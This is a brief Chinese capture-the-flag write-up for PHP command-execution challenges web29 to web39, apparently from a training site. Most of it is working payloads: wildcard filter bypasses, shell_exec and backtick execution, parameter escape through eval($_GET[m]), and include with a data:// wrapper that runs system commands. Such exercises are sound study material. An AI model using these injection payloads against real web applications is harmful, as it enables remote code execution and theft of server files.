文章目录
- web 29——通配符*绕过
- web30——调用其他命令执行函数
- web 31——参数逃逸
- web 32-web 36——配合文件包含+伪协议
- web 37-web 39——文件包含
- web 40——
web 29——通配符*绕过

i不区分大小写,直接?c=system('tac fl*.php');

web30——调用其他命令执行函数

调用其他代码执行函数,如shell_exec,该函数需要输出。payload:?c=echo shell_exec('tac fl*');。也可以使用反撇号代替shell_exec

web 31——参数逃逸

这里对c参数的过滤比较严谨,可以考虑将代码写到其他参数中。?c=eval($_GET[m]);&m=system('tac flag.php');

注意:
- payload不能这样写:
?c=eval($_GET[m];);&m=system('tac flag.php')
- 关于GET和POST传参参数写法,可以这样写
$_GET[1]、$_GET[x]、$_GET[cmd]、$_GET["cmd"]、$_GET{cmd},不能这样写$_GET['x']。
web 32-web 36——配合文件包含+伪协议

payload:?c=include%0a$_GET[x]?>&x=data://text/plain,<?php system('ls');?>
%0a作用,这是url回车符,因为空格被过滤。事实上,删去也无所谓,似乎php会自动给字符串和变量间添加空格(经检验,只在eval中有效,echo中无效,还是得要空格)- 后面的
?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。 data协议用法:data://text/plain,<?php [php代码 ]?>

web 37-web 39——文件包含

直接文件包含:c=data://text/plain,<?php system('tac f*')?>

